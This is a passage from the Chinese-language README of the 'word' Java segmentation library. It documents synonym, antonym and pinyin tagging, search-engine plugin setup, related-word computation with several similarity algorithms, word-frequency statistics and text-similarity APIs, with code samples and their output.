老人[白叟], 往往[常常, 每每, 经常], 更, 长寿[长命, 龟龄]] 如果启用间接同义词: SynonymTagging.process(words, false); System.out.println(words); 结果如下: [手劲, 大, 的, 老人[白叟], 往往[一样平常, 一般, 凡是, 寻常, 常常, 常日, 平凡, 平居, 平常, 平日, 平时, 往常, 日常, 日常平凡, 时常, 普通, 每每, 泛泛, 素日, 经常, 通俗, 通常], 更, 长寿[长命, 龟龄]] 以词“千方百计”为例: 可以通过Word的getSynonym()方法获取同义词如: System.out.println(word.getSynonym()); 结果如下: [久有存心, 化尽心血, 想方设法, 费尽心机] 注意:如果没有同义词,则getSynonym()返回空集合:Collections.emptyList() 间接同义词和直接同义词的区别如下: 假设: A和B是同义词,A和C是同义词,B和D是同义词,C和E是同义词 则: 对于A来说,A B C是直接同义词 对于B来说,A B D是直接同义词 对于C来说,A C E是直接同义词 对于A B C来说,A B C D E是间接同义词 #### 14、反义标注 List<Word> words = WordSegmenter.segWithStopWords("5月初有哪些电影值得观看"); System.out.println(words); 结果如下: [5, 月初, 有, 哪些, 电影, 值得, 观看] 做反义标注: AntonymTagging.process(words); System.out.println(words); 结果如下: [5, 月初[月底, 月末, 月终], 有, 哪些, 电影, 值得, 观看] List<Word> words = WordSegmenter.segWithStopWords("由于工作不到位、服务不完善导致顾客在用餐时发生不愉快的事情,餐厅方面应该向顾客作出真诚的道歉,而不是敷衍了事。"); System.out.println(words); 结果如下: [由于, 工作, 不到位, 服务, 不完善, 导致, 顾客, 在, 用餐, 时, 发生, 不愉快, 的, 事情, 餐厅, 方面, 应该, 向, 顾客, 作出, 真诚, 的, 道歉, 而不是, 敷衍了事] 做反义标注: AntonymTagging.process(words); System.out.println(words); 结果如下: [由于, 工作, 不到位, 服务, 不完善, 导致, 顾客, 在, 用餐, 时, 发生, 不愉快, 的, 事情, 餐厅, 方面, 应该, 向, 顾客, 作出, 真诚[糊弄, 虚伪, 虚假, 险诈], 的, 道歉, 而不是, 敷衍了事[一丝不苟, 兢兢业业, 尽心竭力, 竭尽全力, 精益求精, 诚心诚意]] 以词“月初”为例: 可以通过Word的getAntonym()方法获取反义词如: System.out.println(word.getAntonym()); 结果如下: [月底, 月末, 月终] 注意:如果没有反义词,getAntonym()返回空集合:Collections.emptyList() #### 15、拼音标注 List<Word> words = WordSegmenter.segWithStopWords("《速度与激情7》的中国内地票房自4月12日上映以来,在短短两周内突破20亿人民币"); System.out.println(words); 结果如下: [速度, 与, 激情, 7, 的, 中国, 内地, 票房, 自, 4月, 12日, 上映, 以来, 在, 短短, 两周, 内, 突破, 20亿, 人民币] 执行拼音标注: PinyinTagging.process(words); System.out.println(words); 结果如下: [速度 sd sudu, 与 y yu, 激情 jq jiqing, 7, 的 d de, 中国 zg zhongguo, 内地 nd neidi, 票房 pf piaofang, 自 z zi, 4月, 12日, 上映 sy shangying, 以来 yl yilai, 在 z zai, 短短 dd duanduan, 两周 lz liangzhou, 内 n nei, 突破 tp tupo, 20亿, 人民币 rmb renminbi] 以词“速度”为例: 可以通过Word的getFullPinYin()方法获取完整拼音如:sudu 可以通过Word的getAcronymPinYin()方法获取首字母缩略拼音如:sd #### 16、Lucene插件: 1、构造一个word分析器ChineseWordAnalyzer Analyzer analyzer = new ChineseWordAnalyzer(); 如果需要使用特定的分词算法,可通过构造函数来指定: Analyzer analyzer = new ChineseWordAnalyzer(SegmentationAlgorithm.FullSegmentation); 如不指定,默认使用双向最大匹配算法:SegmentationAlgorithm.BidirectionalMaximumMatching 可用的分词算法参见枚举类:SegmentationAlgorithm 2、利用word分析器切分文本 TokenStream tokenStream = analyzer.tokenStream("text", "杨尚川是APDPlat应用级产品开发平台的作者"); //准备消费 tokenStream.reset(); //开始消费 while(tokenStream.incrementToken()){ //词 CharTermAttribute charTermAttribute = tokenStream.getAttribute(CharTermAttribute.class); //词在文本中的起始位置 OffsetAttribute offsetAttribute = tokenStream.getAttribute(OffsetAttribute.class); //第几个词 PositionIncrementAttribute positionIncrementAttribute = tokenStream.getAttribute(PositionIncrementAttribute.class); LOGGER.info(charTermAttribute.toString()+" ("+offsetAttribute.startOffset()+" - "+offsetAttribute.endOffset()+") "+positionIncrementAttribute.getPositionIncrement()); } //消费完毕 tokenStream.close(); 3、利用word分析器建立Lucene索引 Directory directory = new RAMDirectory(); IndexWriterConfig config = new IndexWriterConfig(analyzer); IndexWriter indexWriter = new IndexWriter(directory, config); 4、利用word分析器查询Lucene索引 QueryParser queryParser = new QueryParser("text", analyzer); Query query = queryParser.parse("text:杨尚川"); TopDocs docs = indexSearcher.search(query, Integer.MAX_VALUE); #### 17、Solr插件: 1、下载word-1.3.jar 下载地址:http://search.maven.org/remotecontent?filepath=org/apdplat/word/1.3/word-1.3.jar 2、创建目录solr-5.2.0/example/solr/lib,将word-1.3.jar复制到lib目录 3、配置schema指定分词器 将solr-5.2.0/example/solr/collection1/conf/schema.xml文件中所有的 <tokenizer class="solr.WhitespaceTokenizerFactory"/>和 <tokenizer class="solr.StandardTokenizerFactory"/>全部替换为 <tokenizer class="org.apdplat.word.solr.ChineseWordTokenizerFactory"/> 并移除所有的filter标签 4、如果需要使用特定的分词算法: <tokenizer class="org.apdplat.word.solr.ChineseWordTokenizerFactory" segAlgorithm="ReverseMinimumMatching"/> segAlgorithm可选值有: 正向最大匹配算法:MaximumMatching 逆向最大匹配算法:ReverseMaximumMatching 正向最小匹配算法:MinimumMatching 逆向最小匹配算法:ReverseMinimumMatching 双向最大匹配算法:BidirectionalMaximumMatching 双向最小匹配算法:BidirectionalMinimumMatching 双向最大最小匹配算法:BidirectionalMaximumMinimumMatching 全切分算法:FullSegmentation 最少词数算法:MinimalWordCount 最大Ngram分值算法:MaxNgramScore 如不指定,默认使用双向最大匹配算法:BidirectionalMaximumMatching 5、如果需要指定特定的配置文件: <tokenizer class="org.apdplat.word.solr.ChineseWordTokenizerFactory" segAlgorithm="ReverseMinimumMatching" conf="solr-5.2.0/example/solr/nutch/conf/word.local.conf"/> word.local.conf文件中可配置的内容见 word-1.3.jar 中的word.conf文件 如不指定,使用默认配置文件,位于 word-1.3.jar 中的word.conf文件 #### 18、ElasticSearch插件: 1、打开命令行并切换到elasticsearch的根目录 cd elasticsearch-5.4.3 2、安装word分词插件: wget http://apdplat.org/word/archive/v1.4.1.zip mkdir plugins/word unzip -d plugins/word v1.4.1.zip 注意:如果elasticsearch的版本大于5.4.3,比如为5.6.4,则将文件plugins/word/plugin-descriptor.properties中的配置改为:elasticsearch.version=5.6.4 3、启动ElasticSearch bin/elasticsearch 4、测试效果,在Chrome浏览器中访问: http://localhost:9200/_analyze?analyzer=word&text=杨尚川是APDPlat应用级产品开发平台的作者 #### 19、Luke插件: 1、下载http://luke.googlecode.com/files/lukeall-4.0.0-ALPHA.jar(国内不能访问) 2、下载并解压Java中文分词组件word-1.0-bin.zip:http://pan.baidu.com/s/1dDziDFz 3、将解压后的 Java中文分词组件word-1.0-bin/word-1.0 文件夹里面的4个jar包解压到当前文件夹 用压缩解压工具如winrar打开lukeall-4.0.0-ALPHA.jar,将当前文件夹里面除了META-INF文件夹、.jar、 .bat、.html、word.local.conf文件外的其他所有文件拖到lukeall-4.0.0-ALPHA.jar里面 4、执行命令 java -jar lukeall-4.0.0-ALPHA.jar 启动luke,在Search选项卡的Analysis里面 就可以选择 org.apdplat.word.lucene.ChineseWordAnalyzer 分词器了 5、在Plugins选项卡的Available analyzers found on the current classpath里面也可以选择 org.apdplat.word.lucene.ChineseWordAnalyzer 分词器 注意:如果你要自己集成word分词器的其他版本,在项目根目录下运行mvn install编译项目,然后运行命令 mvn dependency:copy-dependencies复制依赖的jar包,接着在target/dependency/目录下就会有所有 的依赖jar包。其中target/dependency/slf4j-api-1.6.4.jar是word分词器使用的日志框架, target/dependency/logback-classic-0.9.28.jar和 target/dependency/logback-core-0.9.28.jar是word分词器推荐使用的日志实现,日志实现的配置文件 路径位于target/classes/logback.xml,target/word-1.3.jar是word分词器的主jar包,如果需要 自定义词典,则需要修改分词器配置文件target/classes/word.conf 已经集成好的Luke插件下载(适用于lucene4.0.0) :[lukeall-4.0.0-ALPHA-with-word-1.0.jar](http://pan.baidu.com/s/1bn52ooR) 已经集成好的Luke插件下载(适用于lucene4.10.3):[lukeall-4.10.3-with-word-1.2.jar](http://pan.baidu.com/s/1mgFt7ZU) #### 20、通过计算词的语境来获得相关词: 我们如何通过计算词的语境来获得相关词呢? 语境的定义是:在一段文本中,任意一个词的语境由它的前N个词和后N个词组成。 相关词的定义是:如果两个词的语境越相似,那么这两个词就越相似,也就越相关。 算法由两个步骤组成: 1、从大规模语料库中计算每一个词的语境,并使用词向量来表示语境。 2、把求两个词的相似度的问题转换为求这两个词的语境的相似度的问题。 通过计算语境的相似度,就可得到词的相似度,越相似的词就越相关。 使用方法如下: 1、使用word分词内置语料库:运行word分词项目根目录下的脚本 demo-word-vector-corpus.bat 或 demo-word-vector-corpus.sh 2、使用自己的文本内容:运行word分词项目根目录下的脚本 demo-word-vector-file.bat 或 demo-word-vector-file.sh 由于语料库很大,所以启动的时间会很长,请耐心等待,下面以例子来说明: 比如我们想分析 兰州 这个词的相关词有哪些,我们运行脚本 demo-word-vector-corpus.sh ,启动成功之后命令行提示: 开始初始化模型 模型初始化完成 可通过输入命令sa=cos来指定相似度算法,可用的算法有: 1、sa=cos,余弦相似度 2、sa=edi,编辑距离 3、sa=euc,欧几里得距离 4、sa=sim,简单共有词 5、sa=jac,Jaccard相似性系数 6、sa=man,曼哈顿距离 7、sa=shh,SimHash + 汉明距离 8、sa=ja,Jaro距离 9、sa=jaw,Jaro–Winkler距离 10、sa=sd,Sørensen–Dice系数 可通过输入命令limit=15来指定显示结果条数 可通过输入命令exit退出程序 输入要查询的词或命令: 我们输入 兰州 后回车,结果显示: 兰州 的相关词(EditDistanceTextSimilarity): ---------------------------------------------------------- 1、兰州 1.0 2、北京 0.21 3、福州 0.2 4、太原 0.19 5、成都 0.17 6、西安 0.17 7、哈尔滨 0.17 8、南宁 0.17 9、贵阳 0.16 10、庆阳 0.15 11、沈阳 0.14 12、合肥 0.14 13、大同 0.14 14、拉萨 0.13 15、西宁 0.13 ---------------------------------------------------------- 这里显示的结果就是 兰州 这个词的相关词,词后面跟的是相关度分值, 兰州 和 兰州 是同一个词,相关度百分之百,自然是1分。 从这个结果我们来分析,这些词凭什么相关呢?线索在哪里? 首先这些词的词性都是名词; 其次这些词都是地名而且是大城市名; 从这里我们也可以看到一个有意思的现象,同一词性比如地名的用法往往保持一致。 相关词是从语境推导得到的,语境中词后面跟的数字是权重,权重是1/N的累加值 下面我们看看这些词的语境: 兰州 : [军区 1.0, 甘肃 0.78205127, 新区 0.7692308, 大学 0.42307693, 甘肃兰州 0.41025642, 货车 0.3846154, 西安 0.32051283, 本报 0.2948718, 新华社 0.2820513, 兰州新区 0.26923078, 召开 0.23076923, 发往 0.21794872, 中国 0.20512821, 兰州 0.20512821, 火车站 0.20512821, 铁路 0.17948718, 参加 0.15384616, 西宁 0.15384616, 方向 0.15384616, 成都 0.14102565, 警察 0.14102565, 建设 0.12820514, 市委 0.12820514, 来到 0.12820514, 一家 0.12820514, 中心 0.115384616, 炼油厂 0.102564104, 进入 0.102564104, 来自 0.102564104, 举行 0.102564104] 北京 : [新华社 1.0, 本报 0.7119143, 举行 0.19384204, 上海 0.17831326, 时间 0.16385542, 铁路局 0.1394913, 西站 0.13226238, 青年报 0.12717536, 晨报 0.11700134, 市委 0.1145917, 地区 0.11218206, 召开 0.10200803, 城市 0.08299866, 目前 0.07951807, 来到 0.06961178, 军区 0.06827309, 国际 0.066398926, 中心 0.063453816, 北京时间 0.06184739, 人民 0.059973225, 工作 0.05863454, 地铁 0.057563588, 北京铁路局 0.056492638, 医院 0.055421688, 飞往 0.05381526, 首都 0.053547524, 中国 0.053547524, 其中 0.05274431, 今天 0.052208837, 卫视 0.05167336] 福州 : [火车站 1.0, 新区 0.46666667, 福州火车站 0.45555556, 晚报 0.2962963, 记者 0.2777778, 打工 0.27407408, 来到 0.24814814, 市民 0.23333333, 本报 0.22222222, 大学 0.21851853, 市区 0.2074074, 市委 0.19259259, 举行 0.19259259, 鼓楼区 0.18518518, 网友 0.18148148, 到达 0.17037037, 开往 0.16296296, 目前 0.14074074, 分行 0.14074074, 一家 0.12962963, 全市 0.12962963, 东街口 0.12222222, 福州晚报 0.12222222, 新华社 0.11851852, 铁路 0.11851852, 召开 0.11481482, 前往 0.11481482, 发展 0.11481482, 推进 0.11111111, 福州 0.11111111] 太原 : [山西 1.0, 山西太原 0.6136364, 本报 0.39772728, 新华社 0.3409091, 火车站 0.26136363, 济南 0.25, 铁路 0.23863636, 北京 0.22727273, 推出 0.1590909, 国际 0.1590909, 返回 0.14772727, 刚玉 0.13636364, 来自 0.13636364, 发布 0.13636364, 打工 0.125, 中心 0.125, 市委 0.11363637, 银行 0.11363637, 铁路局 0.10227273, 西安 0.09090909, 集团 0.09090909, 公安 0.09090909, 开往 0.09090909, 比如 0.07954545, 金融 0.07954545, 火车票 0.07954545, 大同 0.06818182, 山西省 0.06818182, 军分区 0.06818182, 离开 0.06818182] 成都 : [商报 1.0, 成都商报 0.4117647, 军区 0.1875, 铁路局 0.17830883, 北京 0.17463236, 本报 0.17095588, 重庆 0.15441176, 告诉 0.15441176, 交警 0.14338236, 方向 0.1360294, 记者 0.13419117, 平原 0.121323526, 四川 0.1194853, 长沙 0.11764706, 理工大学 0.0992647, 来自 0.09375, 新华社 0.09191176, 开往 0.090073526, 成都铁路局 0.08455882, 铁路 0.080882356, 召开 0.07904412, 市民 0.075367644, 市委 0.073529415, 公司 0.07169118, 广州 0.07169118, 西安 0.0680147, 郫县 0.060661763, 打工 0.060661763, 市区 0.05882353, 晚报 0.05882353] 西安 : [火车站 1.0, 事变 0.75, 交通 0.7058824, 建设 0.5882353, 地铁 0.5882353, >咸阳 0.5588235, 来到 0.5294118, 市民 0.50735295, 大学 0.5, 铁路 0.5, 代表团 0.5, 铁路局 0.49264705, 公司 0.4852941, 武汉 0.4632353, 曲江 0.44117647, 供电 0.42647058, 新华社 0.4117647, 西安火车站 0.4117647, 北京 0.3602941, 交大 0.3602941, 本报 0.34558824, 西安事变 0.3382353, 城市 0.31617647, 城区 0.31617647, 落户 0.30882353, 市委 0.29411766, 国际 0.2867647, 城东 0.2867647, 成都 0.2720588, 举行 0.25] 哈尔滨 : [理工大学 1.0, 火车站 0.41584158, 哈尔滨理工大学 0.36138615, 工业 0.25742576, 方向 0.23762377, 新华社 0.20792079, 开往 0.18811882, 哈尔滨火车站 0.18316832, 位于 0.17821783, 大学 0.17326732, 铁路局 0.15841584, 来自 0.15346535, 最低 0.14356436, 北京 0.12871288, 本报 0.12376238, 黑龙江省 0.12376238, 发布 0.11386139, 中国 0.10891089, 飞往 0.0990099, 黑龙>江 0.08415841, 沈阳 0.07920792, 工程 0.07920792, 附近 0.074257426, 市委 0.06930693, 飞机 0.06930693, 上海 0.06930693, 考生 0.06930693, 进入 0.06930693, 停止 0.06930693, 经济 0.06435644] 南宁 : [广西 1.0, 铁路局 0.8, 广西南宁 0.62222224, 本报 0.54444444, 新华社 0.36666667, 南宁铁路局 0.31111112, 市委 0.26666668, 柳州 0.18888889, 桂林 0.17777778, 铁路 0.15555556, 兴>宁区 0.14444445, 来到 0.11111111, 开往 0.11111111, 前往 0.11111111, 公安 0.11111111, 工作 0.11111111, 运往 0.11111111, 城市 0.08888889, 美丽 0.08888889, 召开 0.08888889, 从事 0.08888889, 官塘 0.08888889, 楼市 0.08888889, 分局 0.07777778, 南宁市委 0.07777778, 动车 0.07777778, 发生 0.07777778, 举行 0.07777778, 西乡 0.06666667, 市长 0.06666667] 贵阳 : [本报 1.0, 重庆 0.73333335, 新华社 0.46666667, 方向 0.43333334, 前往 0.4, 哥俩 0.4, 城区 0.4, 老家 0.33333334, 西安 0.26666668, 成都 0.26666668, 街头 0.26666668, 晚报 0.26666668, 无关 0.26666668, 杭州 0.23333333, 涉及 0.2, 以及 0.2, 市内 0.2, 网友 0.2, 郑州 0.16666667, 南宁 0.16666667, 长沙 0.16666667, 武汉 0.16666667, 摆摊 0.16666667, 市委 0.13333334, 昆明 0.13333334, 安顺 0.13333334, 来到 0.13333334, 争霸 0.13333334, 四强 0.13333334, 铁路 0.13333334] 庆阳 : [甘肃 1.0, 甘肃庆阳 0.8, 甘肃省 0.4, 地区 0.4, 老区 0.3, 森林 0.2, 平凉 0.2, 镇远县 0.1, 革命 0.1, 韩凤廷 0.1, 交通处 0.1, 兰州森林大队 0.1, 大队 0.1, 兰州 0.1, 西峰 0.1, 发>送 0.1, 一辆 0.1, 牌照 0.1, 来自 0.1] 沈阳 : [军区 1.0, 晚报 0.5123967, 方向 0.3181818, 本报 0.27272728, 沈阳晚报 0.23553719, 新华社 0.20661157, 沈阳军区 0.18595041, 军区队 0.15289256, 海狮队 0.14876033, 自动化所 0.14049587, 此次 0.14049587, 经济区 0.1322314, 中国 0.12809917, >大连 0.12809917, 大爷 0.12809917, 市委 0.12396694, 一家 0.11570248, 高速 0.11570248, 国际 0.11157025, 火车票 0.11157025, 法库 0.10743801, 大学 0.10330579, 长春 0.10330579, 直达 0.09917355, 深圳 0.09090909, 上海 0.08677686, 记者 0.08677686, 海狮 0.08264463, 大妈 0.08264463, 两位 0.08264463] 合肥 : [火车站 1.0, 市民 0.8181818, 市区 0.53333336, 楼市 0.4848485, 合肥火车站 0.4121212, 铁路 0.38787878, 安徽 0.36969697, 到达 0.36363637, 市场 0.34545454, 上周 0.3030303, 芜湖 0.2969697, 召开 0.28484848, 记者 0.27272728, 成为 0.27272728, 来到 0.26666668, 安徽合肥 0.24242425, 城市 0.24242425, 经济圈 0.24242425, 公交 0.24242425, 目前 0.23636363, 本报 0.21818182, 今年 0.21818182, 起飞 0.21818182, 汽车 0.21212122, 物质 0.2060606, 合肥楼市 0.2060606, 空港 0.2060606, 工业 0.19393939, 标题 0.18181819, 野生 0.16969697] 大同 : [大学 1.0, 铁路 0.52380955, 山西 0.5, 证券 0.33333334, 大同大学 0.33333334, 山西省 0.23809524, 此次 0.23809524, 山西大同 0.1904762, 世界 0.1904762, 世界大同 0.1904762, 街道 0.16666667, 太原 0.14285715, 市委 0.14285715, 上海 0.14285715, 派出所 0.14285715, 公安处 0.14285715, 日方 0.14285715, 转发 0.14285715, 运城 0.11904762, 军分区 0.0952381, 矿务局 0.0952381, 小学 0.0952381, 参加 0.0952381, 项目 0.0952381, 中学 0.0952381, 水厂 0.0952381, 车辆段 0.0952381, 开往 0.0952381, 大同证券 0.0952381, 战役 0.071428575] 拉萨 : [火车站 1.0, 新华社 0.91935486, 西藏 0.7580645, 市区 0.61290324, 本报 0.58064514, 召开 0.5645161, 海关 0.5483871, 城市 0.48387095, 拉萨火车站 0.4032258, 市委 0.38709676, 成都 0.37096775, 贡嘎 0.3548387, 开幕 0.32258064, 发布 0.30645162, 西藏拉萨 0.2580645, 会议 0.2580645, 机场 0.22580644, 闭幕 0.22580644, 隆重 0.22580644, 林芝 0.20967741, 举行 0.19354838, 开通 0.19354838, 营业部 0.19354838, 市民 0.17741935, 市场 0.17741935, 经济 0.17741935, 中心 0.17741935, 空气 0.17741935, 成为 0.17741935, 人民 0.16129032] 西宁 : [新华社 1.0, 上海 0.8235294, 兰州 0.3529412, 辗转 0.3529412, 本报 0.29411766, 青海 0.29411766, 考察 0.23529412, 当街 0.23529412, 特钢 0.1764706, 方向 0.1764706, 分行 0.1764706, 索贿 0.1764706, 北京 0.14705883, 但是 0.14705883, 拉萨 0.11764706, 我们 0.11764706, 标题 0.11764706, 交警 0.11764706, 代表团 0.11764706, 处理 0.0882353, 银川 0.0882353, 车票 0.0882353, 筹建 0.0882353, 中转 0.0882353, 参加 0.0882353, 一月 0.05882353, 试验局 0.05882353, 二月 0.05882353, 地区 0.05882353, 严肃 0.05882353] 最后我们看一下分别使用7种相似度算法算出来的 兰州 的相关词: ---------------------------------------------------------- 兰州 的相关词(CosineTextSimilarity): 1、兰州 1.0 2、沈阳 0.5 3、北京军区 0.47 4、后勤部 0.46 5、沈阳军区 0.46 6、总医院 0.46 7、新疆军区 0.46 8、司令员 0.42 9、甘肃兰州 0.42 10、兰州新区 0.42 11、某师 0.39 12、郑蒲港 0.38 13、西咸 0.38 14、天水 0.37 15、郑东 0.37 耗时:25秒,572毫秒 ---------------------------------------------------------- 兰州 的相关词(EditDistanceTextSimilarity): 1、兰州 1.0 2、北京 0.21 3、福州 0.2 4、太原 0.19 5、成都 0.17 6、南宁 0.17 7、西安 0.17 8、哈尔滨 0.17 9、贵阳 0.16 10、庆阳 0.15 11、合肥 0.14 12、大同 0.14 13、沈阳 0.14 14、珀斯 0.13 15、拉萨 0.13 耗时:44秒,253毫秒 ---------------------------------------------------------- 兰州 的相关词(EuclideanDistanceTextSimilarity): 1、兰州 1.0 2、后勤部 0.37 3、北京军区 0.37 4、新疆军区 0.37 5、沈阳 0.37 6、沈阳军区 0.37 7、总医院 0.37 8、上海浦东新区 0.36 9、郑蒲港 0.36 10、浦东新区 0.36 11、甘肃兰州 0.36 12、西咸 0.36 13、西咸新区 0.36 14、正定新区 0.36 15、司令员 0.36 耗时:24秒,710毫秒 ---------------------------------------------------------- 兰州 的相关词(SimpleTextSimilarity): 1、兰州 1.0 2、福州 0.36 3、西安 0.33 4、李红旗 0.33 5、中国金融信息中心 0.33 6、南特 0.32 7、卡塔赫纳 0.32 8、哈尔滨 0.3 9、武汉 0.3 10、戴克瑞 0.3 11、楚雄州 0.29 12、朱梦魁 0.29 13、岳菲菲 0.29 14、长沙 0.28 15、吕国庆 0.28 耗时:21秒,918毫秒 ---------------------------------------------------------- 兰州 的相关词(JaccardTextSimilarity): 1、兰州 1.0 2、福州 0.22 3、西安 0.2 4、哈尔滨 0.18 5、北京 0.18 6、武汉 0.18 7、成都 0.18 8、长沙 0.15 9、太原 0.15 10、贵阳 0.15 11、沈阳 0.15 12、广州 0.15 13、拉萨 0.15 14、南昌 0.15 15、长春 0.13 耗时:19秒,717毫秒 ---------------------------------------------------------- 兰州 的相关词(ManhattanDistanceTextSimilarity): 1、兰州 1.0 2、上海浦东新区 0.11 3、陕西西咸新区 0.11 4、甘肃兰州 0.11 5、北京军区 0.11 6、新疆军区 0.11 7、西咸 0.11 8、正定新区 0.11 9、天府新区 0.11 10、沈阳军区 0.11 11、国家级新区 0.11 12、兰州新区 0.11 13、侠客 0.1 14、威胁论 0.1 15、一两个月 0.1 耗时:23秒,857毫秒 ---------------------------------------------------------- 兰州 的相关词(SimHashPlusHammingDistanceTextSimilarity): 1、兰州 1.0 2、鱼水 0.96 3、冯导 0.95 4、新闻稿 0.95 5、科学 0.95 6、物业公司 0.95 7、现役军人 0.95 8、何人 0.95 9、张轸 0.94 10、公告 0.94 11、信息发布 0.94 12、倡议 0.94 13、药液 0.94 14、考古发掘 0.94 15、公开发布 0.94 耗时:5分钟,57秒,339毫秒 ---------------------------------------------------------- 兰州 的相关词(JaroDistanceTextSimilarity): 1、兰州 1.0 2、长沙 0.49 3、哈尔滨 0.49 4、福州 0.48 5、太原 0.47 6、庆阳 0.46 7、济南 0.46 8、北京 0.45 9、成都 0.45 10、张家明 0.45 11、西安 0.45 12、孙勇 0.45 13、楚雄州 0.44 14、福州站 0.44 15、南宁 0.44 耗时:12秒,718毫秒 ---------------------------------------------------------- 兰州 的相关词(JaroWinklerDistanceTextSimilarity): 1、兰州 1.0 2、拉萨 0.56 3、南宁 0.55 4、朝廷 0.55 5、公判 0.54 6、萨蒙德 0.53 7、世界级 0.53 8、滨湖 0.53 9、大大小小 0.52 10、大选 0.52 11、七届 0.52 12、烘焙 0.51 13、武平县 0.51 14、莫斯科 0.51 15、复训 0.51 耗时:16秒,723毫秒 ---------------------------------------------------------- 兰州 的相关词(SørensenDiceCoefficientTextSimilarity): 1、兰州 1.0 2、福州 0.37 3、西安 0.33 4、哈尔滨 0.3 5、北京 0.3 6、武汉 0.3 7、成都 0.3 8、长沙 0.27 9、太原 0.27 10、贵阳 0.27 11、沈阳 0.27 12、广州 0.27 13、拉萨 0.27 14、南昌 0.27 15、长春 0.23 耗时:19秒,852毫秒 ---------------------------------------------------------- #### 21、词频统计: org.apdplat.word.WordFrequencyStatistics 提供了词频统计的功能 命令行脚本的调用方法如下: 将需要统计词频的文本写入文件:text.txt chmod +x wfs.sh & wfs.sh -textFile=text.txt -statisticsResultFile=statistics-result.txt 程序运行结束后打开文件statistics-result.txt查看词频统计结果 在程序中的调用方法如下: //词频统计设置 WordFrequencyStatistics wordFrequencyStatistics = new WordFrequencyStatistics(); wordFrequencyStatistics.setRemoveStopWord(false); wordFrequencyStatistics.setResultPath("word-frequency-statistics.txt"); wordFrequencyStatistics.setSegmentationAlgorithm(SegmentationAlgorithm.MaxNgramScore); //开始分词 wordFrequencyStatistics.seg("明天下雨,结合成分子,明天有关于分子和原子的课程,下雨了也要去听课"); //输出词频统计结果 wordFrequencyStatistics.dump(); //准备文件 Files.write(Paths.get("text-to-seg.txt"), Arrays.asList("word分词是一个Java实现的分布式中文分词组件,提供了多种基于词典的分词算法,并利用ngram模型来消除歧义。")); //清除之前的统计结果 wordFrequencyStatistics.reset(); //对文件进行分词 wordFrequencyStatistics.seg(new File("text-to-seg.txt"), new File("text-seg-result.txt")); //输出词频统计结果 wordFrequencyStatistics.dump("file-seg-statistics-result.txt"); 第一句话的词频统计结果: 1、下雨 2 2、明天 2 3、分子 2 4、课程 1 5、听课 1 6、结合 1 7、原子 1 8、去 1 9、成 1 10、关于 1 11、和 1 12、也要 1 13、有 1 14、的 1 15、了 1 第二句话的词频统计结果: 1、分词 2 2、的 2 3、基于 1 4、word 1 5、组件 1 6、词典 1 7、ngram 1 8、多种 1 9、实现 1 10、并 1 11、利用 1 12、消除歧义 1 13、中文分词 1 14、算法 1 15、是 1 16、分布式 1 17、了 1 18、提供 1 19、模型 1 20、来 1 21、一个 1 22、Java 1 #### 22、文本相似度: word分词提供了多种文本相似度计算方式: 方式一:余弦相似度,通过计算两个向量的夹角余弦值来评估他们的相似度 实现类:org.apdplat.word.analysis.CosineTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new CosineTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.67 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式二:简单共有词,通过计算两篇文档共有的词的总字符数除以最长文档字符数来评估他们的相似度 实现类:org.apdplat.word.analysis.SimpleTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new SimpleTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.5 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式三:编辑距离,通过计算两个字串之间由一个转成另一个所需的最少编辑操作次数来评估他们的相似度 实现类:org.apdplat.word.analysis.EditDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new EditDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 